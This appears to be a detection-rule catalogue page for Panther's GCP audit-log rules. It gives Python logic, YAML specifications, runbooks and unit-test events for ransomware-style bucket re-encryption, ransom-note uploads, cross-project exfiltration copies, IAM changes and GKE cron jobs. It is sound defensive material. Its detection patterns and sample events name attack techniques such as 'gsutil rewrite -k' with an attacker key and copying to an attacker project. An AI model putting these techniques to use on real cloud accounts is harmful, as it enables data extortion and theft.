GCP.AuditLog
Tags
GCP, Google Cloud Storage, Collection:Data From Cloud Storage Object, Ransomware
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detects GCS object rewrite operations which may indicate ransomware operations attempting to rewrite data in the same bucket with an attacker-controlled encryption key. Attackers with compromised credentials can use gsutil rewrite commands to replace existing encryption keys on cloud storage objects, effectively encrypting data for ransom. This detection focuses on identifying suspicious re-encryption activity through the 'gsutil rewrite -k' command patterns in user agent strings, with a threshold of 10 events.

MITRE ATT&CK coverage

Telemetry coverage

PlatformRecord / event type
GCPstorage.objects.create: Create object

Rules detecting the same action

These rules filter on the same operation.

Detection logic

import re

# User agent patterns indicating object rewrite
ENCRYPTION_REWRITE_PATTERNS = [
    re.compile(r"command/rewrite-k", re.IGNORECASE),  # gsutil rewrite -k
    re.compile(r"command/rewrite-k-s", re.IGNORECASE),  # gsutil rewrite -k -s
    re.compile(r"gsutil.*rewrite", re.IGNORECASE),  # gsutil rewrite variant
]


def rule(event):
    if event.deep_get("protoPayload", "serviceName") != "storage.googleapis.com":
        return False

    # Focus on the create operation (the actual re-encryption)
    method = event.deep_get("protoPayload", "methodName", default="")
    if method not in ["storage.objects.create"]:
        return False

    # Get the resource from authorizationInfo for storage.objects.create permission
    auth_info = event.deep_get("protoPayload", "authorizationInfo", default=[])
    requested_file = next(
        (
            entry.get("resource")
            for entry in auth_info
            if entry.get("permission") == "storage.objects.create"
        ),
        None,
    )
    resource_file = event.deep_get("protoPayload", "resourceName", default=None)

    # Only alert on files that are being rewritten in the same bucket
    # (where the authorized resource matches the actual resource being created)
    if not requested_file or not resource_file or requested_file != resource_file:
        return False

    # This field contains commands executed on cli
    user_agent = event.deep_get(
        "protoPayload", "requestMetadata", "callerSuppliedUserAgent", default="<UNKNOWN_USER_AGENT>"
    )

    # Check for rewrite with encryption key change
    for pattern in ENCRYPTION_REWRITE_PATTERNS:
        if pattern.search(user_agent):
            return True

    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="Unknown"
    )
    resource = event.deep_get("protoPayload", "resourceName", default="")
    obj_name = resource.split("/objects/")[-1] if "/objects/" in resource else "Unknown"
    bucket = event.deep_get("resource", "labels", "bucket_name", default="Unknown")
    return f"GCS object [{obj_name}] rewritten in [{bucket}] by [{actor}]"


def dedup(event):
    # Dedup by bucket and actor to group related rewrite operations
    bucket = event.deep_get("resource", "labels", "bucket_name", default="unknown")
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="unknown"
    )
    return f"{bucket}-{actor}"


def alert_context(event):
    resource = event.deep_get("protoPayload", "resourceName", default="")
    return {
        "actor": event.deep_get("protoPayload", "authenticationInfo", "principalEmail"),
        "method": event.deep_get("protoPayload", "methodName"),
        "bucket": event.deep_get("resource", "labels", "bucket_name"),
        "object": resource.split("/objects/")[-1] if "/objects/" in resource else resource,
        "user_agent": event.deep_get("protoPayload", "requestMetadata", "callerSuppliedUserAgent"),
        "source_ip": event.deep_get("protoPayload", "requestMetadata", "callerIp"),
        "project": event.deep_get("resource", "labels", "project_id"),
    }

Rule specification

AnalysisType: rule
Filename: gcp_gcs_object_rewrite.py
RuleID: "GCP.GCS.BulkObjectRewrite"
DisplayName: "GCP GCS Bulk Object Rewrite Operation"
Enabled: true
Threshold: 10
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Google Cloud Storage
  - Collection:Data From Cloud Storage Object
  - Ransomware
Reports:
  CIS:
    - 2.10
  MITRE ATT&CK:
    - TA0040:T1486  # Impact: Data Encrypted for Impact
    - TA0009:T1530  # Collection: Data from Cloud Storage Object
    - TA0010:T1537  # Exfiltration: Transfer Data to Cloud Account
Severity: Medium
Description: >
  Detects GCS object rewrite operations which may indicate ransomware operations attempting to rewrite data in the same bucket with an attacker-controlled encryption key.
  Attackers with compromised credentials can use gsutil rewrite commands to replace existing encryption keys on cloud storage objects,
  effectively encrypting data for ransom. This detection focuses on identifying suspicious re-encryption activity through the 'gsutil rewrite -k'
  command patterns in user agent strings, with a threshold of 10 events.
Runbook: |
  1. Query GCP Audit Logs for all storage.objects.create operations by the principalEmail in the 24 hours before and after the alert to determine the scope of rewrite operations
  2. Check if the callerIP is associated with known cloud provider IP ranges, VPN endpoints, or matches the user's typical access locations from the past 90 days
  3. Find other alerts or suspicious GCS activity from this principalEmail or bucket in the past 7 days to identify potential ransomware patterns
Reference: https://cloud.google.com/storage/docs/gsutil/commands/rewrite
SummaryAttributes:
  - severity
  - p_any_ip_addresses
  - p_any_domain_names

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.serviceName is storage.googleapis.com
  • protoPayload.methodName is one of storage.objects.create
  • protoPayload.resourceName is present

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Alert cadence
alerts after 10 matches within 1h

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
protoPayload.resourceNameis_null(no value, null check)excludes:protoPayload.resourceName

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
actorprotoPayload.authenticationInfo.principalEmail
methodprotoPayload.methodName
bucketresource.labels.bucket_name
user_agentprotoPayload.requestMetadata.callerSuppliedUserAgent
source_ipprotoPayload.requestMetadata.callerIp
projectresource.labels.project_id

Response runbook

1. Query GCP Audit Logs for all storage.objects.create operations by the principalEmail in the 24 hours before and after the alert to determine the scope of rewrite operations

2. Check if the callerIP is associated with known cloud provider IP ranges, VPN endpoints, or matches the user's typical access locations from the past 90 days

3. Find other alerts or suspicious GCS activity from this principalEmail or bucket in the past 7 days to identify potential ransomware patterns

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "kua6lje2lauj",
  "logName": "projects/your-project/logs/cloudaudit.googleapis.com%2Fdata_access",
  "p_any_emails": [
    "frodo@lotr.com"
  ],
  "p_any_ip_addresses": [
    "1.2.3.4"
  ],
  "p_any_usernames": [
    "homer.simpson"
  ],
  "p_event_time": "2025-12-15 15:35:44.471503481",
  "p_log_type": "GCP.AuditLog",
  "p_parse_time": "2025-12-15 15:37:21.119003440",
  "p_row_id": "000000000088d76191e538b59ed49209",
  "p_schema_version": 0,
  "p_source_id": "bd7da315-647e-4eca-bcfe-083fab18f3f1",
  "p_source_label": "your-project-pubsub",
  "p_udm": {
    "source": {
      "address": "1.2.3.4",
      "ip": "1.2.3.4"
    },
    "user": {
      "email": "frodo@lotr.com"
    }
  },
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "oauthInfo": {
        "oauthClientId": "111111111111-example1a2b3c4d5e6f7g8h9i0j.apps.googleusercontent.com"
      },
      "principalEmail": "frodo@lotr.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "storage.objects.create",
        "resource": "projects/_/buckets/victim-bucket/objects/victim-file.txt",
        "resourceAttributes": {}
      },
      {
        "granted": true,
        "permission": "storage.objects.delete",
        "resource": "projects/_/buckets/victim-bucket/objects/victim-file.txt",
        "resourceAttributes": {}
      }
    ],
    "methodName": "storage.objects.create",
    "requestMetadata": {
      "callerIP": "1.2.3.4",
      "callerIp": "1.2.3.4",
      "callerSuppliedUserAgent": "apitools Python/3.13.7 gsutil/5.35 (linux) analytics/enabled interactive/True invocation-id/000000000098a6854caf369de05cd1c0 command/rewrite-k google-cloud-sdk/548.0.0,gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2025-12-15T15:35:44.477602259Z"
      }
    },
    "resourceLocation": {
      "currentLocations": [
        "us"
      ]
    },
    "resourceName": "projects/_/buckets/victim-bucket/objects/victim-file.txt",
    "serviceData": {
      "@type": "type.googleapis.com/google.iam.v1.logging.AuditData",
      "at_sign_type": "type.googleapis.com/google.iam.v1.logging.AuditData",
      "policyDelta": {}
    },
    "serviceName": "storage.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2025-12-15 15:35:45.157653388",
  "resource": {
    "labels": {
      "bucket_name": "victim-bucket",
      "location": "us",
      "project_id": "your-project"
    },
    "type": "gcs_bucket"
  },
  "severity": "INFO",
  "timestamp": "2025-12-15 15:35:44.471503481"
}

GCP GCS IAM Permission Changes

#
Severity
low
Group by
resource.labels.project_id
Compliance
CIS 2.1
Log types
GCP.AuditLog
Tags
GCP, Google Cloud Storage, Collection:Data From Cloud Storage Object
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Monitoring changes to Cloud Storage bucket permissions may reduce time to detect and correct permissions on sensitive Cloud Storage bucket and objects inside the bucket.

MITRE ATT&CK coverage

TacticTechniques
Collection

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

def rule(event):
    return (
        event.deep_get("resource", "type") == "gcs_bucket"
        and event.deep_get("protoPayload", "methodName") == "storage.setIamPermissions"
    )


def dedup(event):
    return event.deep_get("resource", "labels", "project_id", default="<UNKNOWN_PROJECT>")

Rule specification

AnalysisType: rule
Filename: gcp_gcs_iam_changes.py
RuleID: "GCP.GCS.IAMChanges"
DisplayName: "GCP GCS IAM Permission Changes"
Enabled: true
DedupPeriodMinutes: 60
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Google Cloud Storage
  - Collection:Data From Cloud Storage Object
Reports:
  CIS:
    - 2.10
  MITRE ATT&CK:
    - TA0009:T1530
Severity: Low
Description: >
  Monitoring changes to Cloud Storage bucket permissions may reduce time to detect and correct permissions on sensitive Cloud Storage bucket and objects inside the bucket.
Runbook: Validate the GCS bucket change was safe.
Reference: https://cloud.google.com/storage/docs/access-control/iam-permissions
SummaryAttributes:
  - severity
  - p_any_ip_addresses
  - p_any_domain_names

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • resource.type is gcs_bucket
  • protoPayload.methodName is storage.setIamPermissions

Indicators

These rows show field, operator, and value matches.

Response runbook

Validate the GCS bucket change was safe.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "15cp9rve72xt1",
  "logName": "projects/western-verve-123456/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "@type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@runpanther.io"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "storage.buckets.setIamPolicy",
        "resource": "projects/_/buckets/jacks-test-bucket",
        "resourceAttributes": {}
      }
    ],
    "methodName": "storage.setIamPermissions",
    "requestMetadata": {
      "callerIp": "136.24.229.58",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36,gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2020-05-15T04:28:42.243082428Z"
      }
    },
    "resourceLocation": {
      "currentLocations": [
        "us"
      ]
    },
    "resourceName": "projects/_/buckets/jacks-test-bucket",
    "serviceData": {
      "@type": "type.googleapis.com/google.iam.v1.logging.AuditData",
      "policyDelta": {
        "bindingDeltas": [
          {
            "action": "ADD",
            "member": "allUsers",
            "role": "roles/storage.objectViewer"
          }
        ]
      }
    },
    "serviceName": "storage.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2020-05-15T04:28:42.900626148Z",
  "resource": {
    "labels": {
      "bucket_name": "jacks-test-bucket",
      "location": "us",
      "project_id": "western-verve-123456"
    },
    "type": "gcs_bucket"
  },
  "severity": "NOTICE",
  "timestamp": "2020-05-15T04:28:42.237027213Z"
}

GCP GCS Object Copied to Different Bucket

#
Severity
medium
Log types
GCP.AuditLog
Tags
GCP, Google Cloud Storage, Exfiltration:Transfer Data to Cloud Account, Ransomware
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detects when GCS objects are copied from one bucket to a bucket in a different GCP project. Cross-project copies are more suspicious than same-project copies and can indicate data exfiltration where an adversary copies sensitive data to a project they control. The threshold of 50+ copy operations suggests bulk exfiltration rather than normal operations. This is detected by monitoring storage.objects.get operations that include a destination field in the metadata, indicating a copy operation.

MITRE ATT&CK coverage

TacticTechniques
Exfiltration

Telemetry coverage

PlatformRecord / event type
GCPstorage.objects.get: get

Detection logic

def _parse_destination(destination):
    """Parse bucket and project from destination path.

    Returns tuple: (dest_bucket, dest_project)
    destination format: projects/PROJECT_ID/buckets/BUCKET_NAME/objects/...
    """
    dest_bucket = None
    dest_project = None

    if "buckets/" in destination and "objects/" in destination:
        try:
            dest_bucket = destination.split("buckets/")[1].split("/objects/")[0]
        except (IndexError, AttributeError):
            pass

    if "projects/" in destination and "buckets/" in destination:
        try:
            project = destination.split("projects/")[1].split("/buckets/")[0]
            dest_project = project if project != "_" else None
        except (IndexError, AttributeError):
            pass

    return dest_bucket, dest_project


def rule(event):

    if (
        event.deep_get("protoPayload", "methodName") != "storage.objects.get"
        or event.deep_get("protoPayload", "serviceName") != "storage.googleapis.com"
        or event.get("severity") == "ERROR"  # Operation failed
        or not event.deep_get("protoPayload", "metadata", "destination")
    ):
        return False

    # Extract source and destination buckets and projects
    source_bucket = event.deep_get("resource", "labels", "bucket_name")
    source_project = event.deep_get("resource", "labels", "project_id")
    destination = event.deep_get("protoPayload", "metadata", "destination", default="")

    dest_bucket, dest_project = _parse_destination(destination)

    # Validate required fields
    if not all([source_bucket, dest_bucket, source_project, dest_project]):
        return False

    # Only alert on cross-project copies (more suspicious than same-project copies)
    is_different_bucket = source_bucket != dest_bucket
    is_cross_project = dest_project != source_project

    return is_different_bucket and is_cross_project


def severity(event):
    """Dynamic severity based on whether destination is in a different project."""
    source_project = event.deep_get("resource", "labels", "project_id")
    destination = event.deep_get("protoPayload", "metadata", "destination", default="")
    _, dest_project = _parse_destination(destination)

    if dest_project and source_project and dest_project != source_project:
        return "DEFAULT"

    return "LOW"


def title(event):
    source_bucket = event.deep_get("resource", "labels", "bucket_name", default="Unknown")
    source_project = event.deep_get("resource", "labels", "project_id", default="Unknown")
    destination = event.deep_get("protoPayload", "metadata", "destination", default="")

    dest_bucket, dest_project = _parse_destination(destination)
    if not dest_bucket:
        dest_bucket = "Unknown"

    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="Unknown"
    )

    # Different title based on cross-project vs same-project
    if dest_project and source_project != "Unknown" and dest_project != source_project:
        return (
            f"CROSS-PROJECT: GCS object copied from "
            f"[{source_project}/{source_bucket}] to "
            f"[{dest_project}/{dest_bucket}] by [{actor}]"
        )

    return (
        f"GCS object copied from bucket " f"[{source_bucket}] to [{dest_bucket}] " f"by [{actor}]"
    )


def alert_context(event):
    destination = event.deep_get("protoPayload", "metadata", "destination", default="")
    dest_bucket, dest_project = _parse_destination(destination)

    source_project = event.deep_get("resource", "labels", "project_id")
    is_cross_project = dest_project and source_project and dest_project != source_project

    return {
        "principal": event.deep_get("protoPayload", "authenticationInfo", "principalEmail"),
        "source_project": source_project,
        "source_bucket": event.deep_get("resource", "labels", "bucket_name"),
        "destination_project": dest_project,
        "destination_bucket": dest_bucket,
        "is_cross_project": is_cross_project,
        "destination_path": destination,
        "source_object": event.deep_get("protoPayload", "resourceName"),
        "source_ip": event.deep_get("protoPayload", "requestMetadata", "callerIp"),
        "user_agent": event.deep_get("protoPayload", "requestMetadata", "callerSuppliedUserAgent"),
        "bytes_requested": event.deep_get("protoPayload", "metadata", "requested_bytes"),
    }

Rule specification

AnalysisType: rule
Filename: gcp_gcs_object_exfiltration.py
RuleID: "GCP.GCS.ObjectExfiltration"
DisplayName: "GCP GCS Object Copied to Different Bucket"
Enabled: true
Threshold: 50
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Google Cloud Storage
  - Exfiltration:Transfer Data to Cloud Account
  - Ransomware
Reports:
  MITRE ATT&CK:
    - TA0010:T1537
Severity: Medium
Description: >
  Detects when GCS objects are copied from one bucket to a bucket in a different GCP project.
  Cross-project copies are more suspicious than same-project copies and can indicate data
  exfiltration where an adversary copies sensitive data to a project they control. The
  threshold of 50+ copy operations suggests bulk exfiltration rather than normal operations.
  This is detected by monitoring storage.objects.get operations that include a destination
  field in the metadata, indicating a copy operation.
Runbook: |
  1. Query GCP Audit logs for all storage.objects.get operations with destination metadata by authenticationInfo:principalEmail in the 2 hours around this alert to identify the full scope of copy operations
  2. Check if the protoPayload:metadata:destination bucket belongs to the same project, a different project in the organization, or an external attacker-controlled project
  3. Review GCP Audit logs for IAM permission changes, service account key creation, or bucket policy modifications by this principal in the 24 hours before the first copy operation
Reference: https://cloud.google.com/storage/docs/copying-renaming-moving-objects
SummaryAttributes:
  - severity
  - p_any_ip_addresses
  - p_any_emails

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.methodName is storage.objects.get
  • protoPayload.serviceName is storage.googleapis.com
  • severity is not ERROR
  • protoPayload.metadata.destination is present
  • resource.labels.bucket_name is present
  • resource.labels.project_id is present

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Alert cadence
alerts after 50 matches within 1h

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
protoPayload.metadata.destinationis_null(no value, null check)excludes:protoPayload.metadata.destination
protoPayload.methodNamenestorage.objects.getexcludes:protoPayload.methodName field:"protoPayload.methodName" value:"storage.objects.get"
protoPayload.serviceNamenestorage.googleapis.comexcludes:protoPayload.serviceName field:"protoPayload.serviceName" value:"storage.googleapis.com"
severityeqERRORexcludes:severity field:"severity" value:"ERROR"

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
principalprotoPayload.authenticationInfo.principalEmail
source_projectresource.labels.project_id
source_bucketresource.labels.bucket_name
destination_pathprotoPayload.metadata.destination
source_objectprotoPayload.resourceName
source_ipprotoPayload.requestMetadata.callerIp
user_agentprotoPayload.requestMetadata.callerSuppliedUserAgent
bytes_requestedprotoPayload.metadata.requested_bytes

Response runbook

1. Query GCP Audit logs for all storage.objects.get operations with destination metadata by authenticationInfo:principalEmail in the 2 hours around this alert to identify the full scope of copy operations

2. Check if the protoPayload:metadata:destination bucket belongs to the same project, a different project in the organization, or an external attacker-controlled project

3. Review GCP Audit logs for IAM permission changes, service account key creation, or bucket policy modifications by this principal in the 24 hours before the first copy operation

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "denethor@lotr.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "storage.objects.get",
        "resource": "projects/_/buckets/source-bucket/objects/sensitive.txt"
      }
    ],
    "metadata": {
      "destination": "projects/attacker-project/buckets/exfil-bucket/objects/sensitive.txt",
      "requested_bytes": 12345
    },
    "methodName": "storage.objects.get",
    "requestMetadata": {
      "callerIp": "1.2.3.4",
      "callerSuppliedUserAgent": "google-cloud-sdk gcloud/548.0.0 command/gcloud.storage.cp"
    },
    "resourceName": "projects/_/buckets/source-bucket/objects/sensitive.txt",
    "serviceName": "storage.googleapis.com",
    "status": {}
  },
  "resource": {
    "labels": {
      "bucket_name": "source-bucket",
      "location": "us",
      "project_id": "victim-project"
    },
    "type": "gcs_bucket"
  },
  "severity": "INFO",
  "timestamp": "2025-12-15 15:55:03.915792086"
}

GCP GCS Ransom Note Upload

#
Severity
high
Entities
emails, ip_addresses, usernames
Log types
GCP.AuditLog
Tags
GCP, Google Cloud Storage, Impact:Data Encrypted for Impact, Ransomware
Reference
attack.mitre.org
Source
github.com/panther-labs/panther-analysis

Detects when a file with a name matching common ransomware note patterns is uploaded to a Google Cloud Storage bucket. Ransomware attackers often leave ransom notes with distinctive filenames to provide victims with payment instructions.

MITRE ATT&CK coverage

TacticTechniques
Impact

Telemetry coverage

PlatformRecord / event type
GCPstorage.objects.create: Create object

Rules detecting the same action

These rules filter on the same operation.

Detection logic

import re

# Common ransomware note filename patterns
RANSOM_NOTE_PATTERNS = [
    # Explicit ransomware-related terms
    # RANSOM_NOTE.txt, PAYMENT_INFO.html
    r"(?i)(ransom|payment)[_-]?(note|info|instructions?).*\.(txt|html?)$",
    # Decrypt/restore with specific action words
    # HOW_TO_DECRYPT_FILES.txt
    r"(?i)how[_-]?to[_-]?(decrypt|restore|recover)[_-]?(your[_-]?)?files.*\.(txt|html?)$",
    # DECRYPT_INSTRUCTIONS.txt
    r"(?i)decrypt[_-]?(instructions?|guide|info|your[_-]?files).*\.(txt|html?)$",
    # RESTORE_INSTRUCTIONS.txt
    r"(?i)restore[_-]?(instructions?|guide|info|your[_-]?files).*\.(txt|html?)$",
    # RECOVERY_INSTRUCTIONS.txt
    r"(?i)recovery[_-]?(instructions?|key|guide).*\.(txt|html?)$",
    # Files encrypted/locked messages
    # FILES_ENCRYPTED.txt, ALL_FILES_HAVE_BEEN_ENCRYPTED.txt
    r"(?i)(all[_-]?)?files?[_-]?(have[_-]?been[_-]?)?(encrypted|locked).*\.(txt|html?)$",
    # YOUR_FILES_ARE_ENCRYPTED.txt
    r"(?i)your[_-]?files?[_-]?(are|have[_-]?been)[_-]?(encrypted|locked).*\.(txt|html?)$",
    # DATA_ENCRYPTED.txt
    r"(?i)data[_-]?(has[_-]?been[_-]?)?(encrypted|locked).*\.(txt|html?)$",
    # Unlock-related (common in ransomware)
    # UNLOCK_INSTRUCTIONS.txt
    r"(?i)unlock[_-]?(instructions?|guide|your[_-]?files).*\.(txt|html?)$",
    # Help decrypt/restore (specific to ransomware)
    # HELP_DECRYPT_YOUR_FILES.txt
    r"(?i)help[_-]?(restore|decrypt|recover)[_-]?(your[_-]?)?files.*\.(txt|html?)$",
]

COMPILED_PATTERNS = [re.compile(pattern) for pattern in RANSOM_NOTE_PATTERNS]


def rule(event):
    if event.deep_get("protoPayload", "serviceName") != "storage.googleapis.com":
        return False

    # Focus on the create operation (the actual re-encryption)
    method = event.deep_get("protoPayload", "methodName", default="<UNKNOWN_METHOD")
    if method != "storage.objects.create":
        return False

    # Check for filename
    resource = event.deep_get("protoPayload", "resourceName", default="")
    obj_name = resource.split("/objects/")[-1] if "/objects/" in resource else "<UNKNOWN_FILE>"
    return any(pattern.match(obj_name) for pattern in COMPILED_PATTERNS)


def title(event):
    resource = event.deep_get("protoPayload", "resourceName", default="")
    obj_name = resource.split("/objects/")[-1] if "/objects/" in resource else "<UNKNOWN_FILE>"
    bucket = event.deep_get("resource", "labels", "bucket_name", default="<UNKNOWN_BUCKET>")
    user = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<UNKNOWN_USER>"
    )
    return (
        f"[GCP] Potential ransomware note uploaded to GCS bucket: "
        f"[{obj_name}] in bucket [{bucket}] by user [{user}]"
    )

Rule specification

AnalysisType: rule
DisplayName: "GCP GCS Ransom Note Upload"
LogTypes:
  - GCP.AuditLog
RuleID: "GCP.GCS.Ransom.Note.Upload"
Enabled: true
Filename: gcp_gcs_ransom_note_upload.py
Description: >
  Detects when a file with a name matching common ransomware note patterns is uploaded to a Google Cloud Storage bucket.
  Ransomware attackers often leave ransom notes with distinctive filenames to provide victims with payment instructions.
Runbook: |
  1. Query GCP Audit logs for all bucket operations by the principal email in the 24 hours before and after this alert
  2. Check if the source IP is associated with known cloud provider IP ranges, VPN endpoints, or matches the user's typical access patterns
  3. Search for related KMS key changes or IAM policy modifications on the same bucket in the past 6 hours
  4. Look for bulk object operations (rewrite, copy, delete) on this bucket in the past 24 hours that could indicate file encryption
  5. Verify backups are intact and check for any bucket configuration changes (versioning, retention, encryption) in the past 24 hours
Reference: https://attack.mitre.org/techniques/T1486/
Tags:
  - GCP
  - Google Cloud Storage
  - Impact:Data Encrypted for Impact
  - Ransomware
Reports:
  MITRE ATT&CK:
    - TA0040:T1486
SummaryAttributes:
  - severity
  - p_any_ip_addresses
  - p_any_emails
Severity: High

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.serviceName is storage.googleapis.com
  • protoPayload.methodName is storage.objects.create

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
bucket_nameresource.labels.bucket_name
principalEmailprotoPayload.authenticationInfo.principalEmail

Response runbook

1. Query GCP Audit logs for all bucket operations by the principal email in the 24 hours before and after this alert

2. Check if the source IP is associated with known cloud provider IP ranges, VPN endpoints, or matches the user's typical access patterns

3. Search for related KMS key changes or IAM policy modifications on the same bucket in the past 6 hours

4. Look for bulk object operations (rewrite, copy, delete) on this bucket in the past 24 hours that could indicate file encryption

5. Verify backups are intact and check for any bucket configuration changes (versioning, retention, encryption) in the past 24 hours

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "1vfv897ejxgc2",
  "logName": "projects/example-project/logs/cloudaudit.googleapis.com%2Fdata_access",
  "p_any_emails": [
    "denethor@lotr.com"
  ],
  "p_any_ip_addresses": [
    "1.2.3.4"
  ],
  "p_any_usernames": [
    "user"
  ],
  "p_event_time": "2025-12-12 22:05:35.878912806",
  "p_log_type": "GCP.AuditLog",
  "p_parse_time": "2025-12-12 22:06:21.141743969",
  "p_row_id": "000000000013a23f82a982753925d2c2",
  "p_schema_version": 0,
  "p_source_id": "bd7da315-647e-4eca-bcfe-083fab18f3f1",
  "p_source_label": "gcp-audit-logs",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "oauthInfo": {
        "oauthClientId": "111111111111-abcdefghijklmnopqrstuvwxyz123456.apps.googleusercontent.com"
      },
      "principalEmail": "denethor@lotr.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "storage.objects.delete",
        "resource": "projects/_/buckets/data-bucket/objects/HOW_TO_DECRYPT_FILES.txt",
        "resourceAttributes": {}
      },
      {
        "granted": true,
        "permission": "storage.objects.create",
        "resource": "projects/_/buckets/data-bucket/objects/HOW_TO_DECRYPT_FILES.txt",
        "resourceAttributes": {}
      }
    ],
    "methodName": "storage.objects.create",
    "requestMetadata": {
      "callerIP": "1.2.3.4",
      "callerIp": "1.2.3.4",
      "callerSuppliedUserAgent": "google-cloud-sdk gcloud/548.0.0 command/gcloud.storage.cp invocation-id/abc123def456 environment/devshell environment-version/None client-os/LINUX client-os-ver/6.6.111 client-pltf-arch/x86_64 interactive/False from-script/False python/3.13.7,gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2025-12-12T22:05:35.887374247Z"
      }
    },
    "resourceLocation": {
      "currentLocations": [
        "us"
      ]
    },
    "resourceName": "projects/_/buckets/data-bucket/objects/HOW_TO_DECRYPT_FILES.txt",
    "serviceData": {
      "@type": "type.googleapis.com/google.iam.v1.logging.AuditData",
      "at_sign_type": "type.googleapis.com/google.iam.v1.logging.AuditData",
      "policyDelta": {}
    },
    "serviceName": "storage.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2025-12-12 22:05:36.474700595",
  "resource": {
    "labels": {
      "bucket_name": "data-bucket",
      "location": "us",
      "project_id": "example-project"
    },
    "type": "gcs_bucket"
  },
  "severity": "INFO",
  "timestamp": "2025-12-12 22:05:35.878912806"
}

GCP GKE Kubernetes Cron Job Created Or Modified

#
Severity
medium
Log types
GCP.AuditLog
Reference
medium.com
Source
github.com/panther-labs/panther-analysis

This detection monitor for any modifications or creations of a cron job in GKE. Attackers may create or modify an existing scheduled job in order to achieve cluster persistence.

MITRE ATT&CK coverage

TacticTechniques
Persistence

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
    if not authorization_info:
        return False
    for auth in authorization_info:
        if (
            auth.get("permission")
            in ["io.k8s.batch.v1.cronjobs.create", "io.k8s.batch.v1.cronjobs.update"]
            and auth.get("granted") is True
        ):
            return True
    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
RuleID: "GCP.GKE.Kubernetes.Cron.Job.Created.Or.Modified"
DisplayName: "GCP GKE Kubernetes Cron Job Created Or Modified"
Description:
  This detection monitor for any modifications or creations of a cron job in GKE. Attackers may create
  or modify an existing scheduled job in order to achieve cluster persistence.
Enabled: true
Filename: gcp_k8s_cron_job_created_or_modified.py
LogTypes:
  - GCP.AuditLog
Severity: Medium
DedupPeriodMinutes: 60
Threshold: 1
Reference: https://medium.com/snowflake/from-logs-to-detection-using-snowflake-and-panther-to-detect-k8s-threats-d72f70a504d7
Runbook: Investigate a reason of creating or modifying a cron job in GKE. Create ticket if appropriate.
Reports:
  MITRE ATT&CK:
    - TA0003:T1053.003 # Scheduled Task/Job: Cron

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.authorizationInfo is present
  • any element of protoPayload.authorizationInfo matches all of:
    • protoPayload.authorizationInfo.permission is one of io.k8s.batch.v1.cronjobs.create, io.k8s.batch.v1.cronjobs.update
    • protoPayload.authorizationInfo.granted is true
  • protoPayload.authorizationInfo.permission is one of io.k8s.batch.v1.cronjobs.create, io.k8s.batch.v1.cronjobs.update

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.
